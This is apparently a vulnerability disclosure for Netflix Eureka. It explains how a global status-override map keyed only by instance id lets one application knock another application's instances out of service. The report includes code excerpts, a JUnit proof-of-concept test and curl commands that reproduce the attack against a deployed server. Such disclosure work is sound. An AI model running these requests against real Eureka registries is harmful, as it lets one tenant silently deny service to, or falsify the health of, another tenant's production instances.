Cross-application instance status override via instance-ID collision (global, appName-unscoped `overriddenInstanceStatusMap`)
reported via H1 (https://hackerone.com/reports/3912332) but eureka is not part of the asset scope, thus reporting here.
Summary
Eureka's server-side instance registry keeps a single, global, cross-application table of "status overrides" (AbstractInstanceRegistry.overriddenInstanceStatusMap) that is keyed only by the raw instance id string, not by (appName, id). Every place that consults this table for authoritative status resolution - OverrideExistsRule.apply(), used by register(), renew(), and statusUpdate() - does the same unscoped statusOverrides.get(instanceInfo.getId()) lookup.
Because instance ids are entirely client-chosen (the only server-side check in ApplicationResource.addInstance() is that the appName in the request body matches the appName in the URL path - nothing ties an id to a particular owning application), any application can register its own instance using an id string that collides with a different, unrelated application's instance id. Once that colliding registration exists, calling the standard PUT /eureka/apps/{ownAppName}/{id}/status?value=... endpoint - a write the attacker is fully entitled to make against their own application's own namespace - inserts an entry into the global override map. That entry is then applied to the victim instance (registered under a completely different appName) the next time the victim's instance is looked up or renews its lease, silently flipping its effective status (e.g. to OUT_OF_SERVICE) even though the victim application never asked for that and the attacker never had any registered relationship with the victim's application namespace.
This defeats application-level isolation even in deployments that have added their own authorization layer restricting each client to writing only within its own /eureka/apps/{ownAppName}/** path (a common real-world hardening pattern, e.g. via Spring Security or a reverse proxy mapping a client identity/cert to an allowed appName) - the bug bypasses that isolation entirely via the id-collision side channel.
Details
Relevant code, eureka-core/src/main/java/com/netflix/eureka/registry/AbstractInstanceRegistry.java:
protected final ConcurrentMap<String, InstanceStatus> overriddenInstanceStatusMap = CacheBuilder.newBuilder()
.initialCapacity(500)
.expireAfterAccess(1, TimeUnit.HOURS)
.<String, InstanceStatus>build().asMap();Note the map type: ConcurrentMap<String, InstanceStatus> - keyed by a bare String id, with no appName component anywhere in the key.
statusUpdate() (same file):
public boolean statusUpdate(String appName, String id,
InstanceStatus newStatus, String lastDirtyTimestamp,
boolean isReplication) {
...
Map<String, Lease<InstanceInfo>> gMap = registry.get(appName);
Lease<InstanceInfo> lease = null;
if (gMap != null) {
lease = gMap.get(id);
}
if (lease == null) {
return false;
} else {
...
if ((info != null) && !(info.getStatus().equals(newStatus))) {
...
overriddenInstanceStatusMap.put(id, newStatus); // <-- keyed only by id, no appName
info.setOverriddenStatus(newStatus);
info.setStatusWithoutDirty(newStatus);
...
}
return true;
}
}The existence check (registry.get(appName) then gMap.get(id)) does require the caller to already have a lease registered under appName/id - but since registration itself is open to any caller for any appName, satisfying that check with a self-chosen colliding id is trivial. Once satisfied, the put(id, newStatus) call writes into the global map with no appName in the key.
renew() (same file) then re-applies whatever is in that global map to any instance holder sharing that id, regardless of which application it belongs to:
public boolean renew(String appName, String id, boolean isReplication) {
...
Map<String, Lease<InstanceInfo>> gMap = registry.get(appName);
Lease<InstanceInfo> leaseToRenew = gMap.get(id);
...
InstanceInfo instanceInfo = leaseToRenew.getHolder();
InstanceStatus overriddenInstanceStatus = this.getOverriddenInstanceStatus(instanceInfo, leaseToRenew, isReplication);
if (!instanceInfo.getStatus().equals(overriddenInstanceStatus)) {
instanceInfo.setStatusWithoutDirty(overriddenInstanceStatus);
}
...
}getOverriddenInstanceStatus() delegates to the configured InstanceStatusOverrideRule chain, whose relevant rule is OverrideExistsRule
(eureka-core/src/main/java/com/netflix/eureka/registry/rule/OverrideExistsRule.java):
public class OverrideExistsRule implements InstanceStatusOverrideRule {
private Map<String, InstanceInfo.InstanceStatus> statusOverrides;
...
public StatusOverrideResult apply(InstanceInfo instanceInfo, Lease<InstanceInfo> existingLease, boolean isReplication) {
InstanceInfo.InstanceStatus overridden = statusOverrides.get(instanceInfo.getId());
if (overridden != null) {
return StatusOverrideResult.matchingStatus(overridden);
}
return StatusOverrideResult.NO_MATCH;
}
}statusOverrides here is the same overriddenInstanceStatusMap instance, and the lookup key is instanceInfo.getId() alone - the appName of the InstanceInfo being evaluated is never consulted. So any two InstanceInfo objects that happen to share the same id string - regardless of which application registered them - resolve to the same override entry.
Attack path:
- Attacker knows (or reads via Eureka's own
GET /eureka/apps/VICTIM-APP, or predicts, e.g. an EC2 instance id or Kubernetes pod name pattern) the instance id of a running instance ofVICTIM-APP, sayi-0123456789abcdef0. - Attacker registers their own instance under their own application,
ATTACKER-APP, using that same id:POST /eureka/apps/ATTACKER-APPwith body{"instance": {"instanceId": "i-0123456789abcdef0", "app": "ATTACKER-APP", ...}}. - Attacker calls the status-update endpoint scoped to their own app/id, which they are fully entitled to call:
PUT /eureka/apps/ATTACKER-APP/i-0123456789abcdef0/status?value=OUT_OF_SERVICE. - On
VICTIM-APP's instance's next heartbeat (PUT /eureka/apps/VICTIM-APP/i-0123456789abcdef0, sent automatically by the Eureka client roughly every 30 seconds), the registry applies the global override and flips the victim's ownInstanceInfostatus toOUT_OF_SERVICE, even though the victim never asked for that and has no way to detect the tampering short of comparing its own submitted status against what the registry now reports for it. VICTIM-APP's instance is now excluded from discovery-based load balancing/routing by every client that queries the registry, causing a targeted denial of service, without the attacker ever having write access toVICTIM-APP's own namespace.
The same collision equally allows an attacker to force a status of UP onto an instance that is actually unhealthy or intentionally drained (OUT_OF_SERVICE for maintenance), defeating an operator's intended traffic drain and sending live traffic to an instance that should not be receiving it - an integrity impact in the opposite direction.
PoC
Live-validated via a self-contained JUnit test added to and run against the unmodified Eureka v2.0.6 source tree (using the project's own eureka-tests/AbstractTester harness, which boots PeerAwareInstanceRegistryImpl). No class in the vulnerable code path is mocked or modified.
Save as eureka-tests/src/test/java/com/netflix/eureka/resources/CrossAppStatusOverridePoCTest.java in a checkout of tag v2.0.6:
package com.netflix.eureka.resources;
import jakarta.ws.rs.core.Response;
import com.netflix.appinfo.InstanceInfo;
import com.netflix.appinfo.InstanceInfo.InstanceStatus;
import com.netflix.eureka.AbstractTester;
import org.junit.Test;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.is;
import static org.junit.Assert.assertThat;
public class CrossAppStatusOverridePoCTest extends AbstractTester {
private static final String VICTIM_APP = "VICTIM-APP";
private static final String ATTACKER_APP = "ATTACKER-APP";
private static final String COLLIDING_INSTANCE_ID = "i-0123456789abcdef0";
@Test
public void attackerCanFlipVictimInstanceStatusViaIdCollisionAcrossApps() throws Exception {
// 1. Victim registers normally under VICTIM_APP with an instance id.
ApplicationResource victimAppResource = new ApplicationResource(
VICTIM_APP, serverContext.getServerConfig(), serverContext.getRegistry());
InstanceInfo victimInstance = createLocalInstanceWithIdAndStatus(
"victim-host", COLLIDING_INSTANCE_ID, InstanceStatus.UP);
InstanceInfo.Builder victimBuilder = new InstanceInfo.Builder(victimInstance);
victimBuilder.setAppName(VICTIM_APP);
victimInstance = victimBuilder.build();
Response victimRegisterResponse = victimAppResource.addInstance(victimInstance, null);
assertThat(victimRegisterResponse.getStatus(), is(204));
registeredApps.add(new com.netflix.discovery.shared.Pair<>(VICTIM_APP, COLLIDING_INSTANCE_ID));
// 2. Attacker, controlling only ATTACKER_APP, registers using the SAME instance id.
ApplicationResource attackerAppResource = new ApplicationResource(
ATTACKER_APP, serverContext.getServerConfig(), serverContext.getRegistry());
InstanceInfo attackerInstance = createLocalInstanceWithIdAndStatus(
"attacker-host", COLLIDING_INSTANCE_ID, InstanceStatus.UP);
InstanceInfo.Builder attackerBuilder = new InstanceInfo.Builder(attackerInstance);
attackerBuilder.setAppName(ATTACKER_APP);
attackerInstance = attackerBuilder.build();
Response attackerRegisterResponse = attackerAppResource.addInstance(attackerInstance, null);
assertThat(attackerRegisterResponse.getStatus(), is(204));
registeredApps.add(new com.netflix.discovery.shared.Pair<>(ATTACKER_APP, COLLIDING_INSTANCE_ID));
// 3. Attacker calls PUT .../ATTACKER-APP/{id}/status - a write scoped to their own app.
InstanceResource attackerInstanceResource = new InstanceResource(
attackerAppResource, COLLIDING_INSTANCE_ID, serverContext.getServerConfig(), serverContext.getRegistry());
Response statusUpdateResponse = attackerInstanceResource.statusUpdate(
InstanceStatus.OUT_OF_SERVICE.name(), null, null);
assertThat(statusUpdateResponse.getStatus(), is(200));
// 4. Victim's own, completely normal heartbeat now picks up the attacker-set override.
InstanceResource victimInstanceResource = new InstanceResource(
victimAppResource, COLLIDING_INSTANCE_ID, serverContext.getServerConfig(), serverContext.getRegistry());
Response victimHeartbeat = victimInstanceResource.renewLease(null, null, null, null);
assertThat(victimHeartbeat.getStatus(), is(equalTo(200)));
InstanceInfo victimAfterHeartbeat = registry.getInstanceByAppAndId(VICTIM_APP, COLLIDING_INSTANCE_ID);
assertThat("victim instance status forced to attacker-set override across a normal heartbeat",
victimAfterHeartbeat.getStatus(), is(equalTo(InstanceStatus.OUT_OF_SERVICE)));
}
}Run from the repository root of a v2.0.6 checkout:
./gradlew :eureka-tests:test --tests "com.netflix.eureka.resources.CrossAppStatusOverridePoCTest"Observed result: BUILD SUCCESSFUL, 1 test, 0 failures - eureka-tests/build/test-results/test/TEST-com.netflix.eureka.resources.CrossAppStatusOverridePoCTest.xml contains tests="1" skipped="0" failures="0" errors="0", confirming the victim's InstanceInfo, registered and renewed entirely under VICTIM-APP, ends up with status OUT_OF_SERVICE solely because of a status-update call the attacker made against their own, unrelated ATTACKER-APP namespace.
Equivalent, over-the-wire reproduction against a deployed eureka-server (same three calls, translated to their standard REST endpoints - ApplicationResource/InstanceResource are the exact classes Jersey dispatches these paths to):
# 1. (victim, for reference - this already happens naturally in production)
curl -X POST http://EUREKA_HOST:8080/eureka/apps/VICTIM-APP \
-H "Content-Type: application/json" \
-d '{"instance": {"instanceId": "i-0123456789abcdef0", "hostName": "victim-host",
"app": "VICTIM-APP", "ipAddr": "10.0.0.10", "status": "UP",
"dataCenterInfo": {"name": "MyOwn", "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo"}}}'
# 2. attacker, using only their own ATTACKER-APP namespace, colliding on the victim's instance id
curl -X POST http://EUREKA_HOST:8080/eureka/apps/ATTACKER-APP \
-H "Content-Type: application/json" \
-d '{"instance": {"instanceId": "i-0123456789abcdef0", "hostName": "attacker-host",
"app": "ATTACKER-APP", "ipAddr": "10.0.0.99", "status": "UP",
"dataCenterInfo": {"name": "MyOwn", "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo"}}}'
# 3. attacker forces the shared-id override from within their own app's write scope
curl -X PUT "http://EUREKA_HOST:8080/eureka/apps/ATTACKER-APP/i-0123456789abcdef0/status?value=OUT_OF_SERVICE"
# 4. after VICTIM-APP's instance sends its next normal heartbeat, its status as seen by
# every discovery client is now OUT_OF_SERVICE:
curl http://EUREKA_HOST:8080/eureka/apps/VICTIM-APPImpact
Impact
Any application registered in a shared Eureka registry can force any other application's instance out of service (or, conversely, force it to appear falsely healthy), purely by colliding on that instance's id string from within its own, otherwise fully authorized write scope. This breaks the application-boundary isolation that Eureka's data model otherwise maintains (each application's registry entries, GET endpoints, and normal registration/cancellation are all appName-scoped), and specifically defeats deployments that have added their own per-appName write-authorization layer in front of Eureka - a common real-world hardening pattern - since the collision happens entirely through the attacker's own authorized namespace. In a multi-tenant Eureka deployment (a common pattern for internal platform teams offering shared service discovery to many independent teams/applications), this allows one tenant to silently and repeatedly deny service to, or falsify the health of, another tenant's production instances.
Source: Netflix/eureka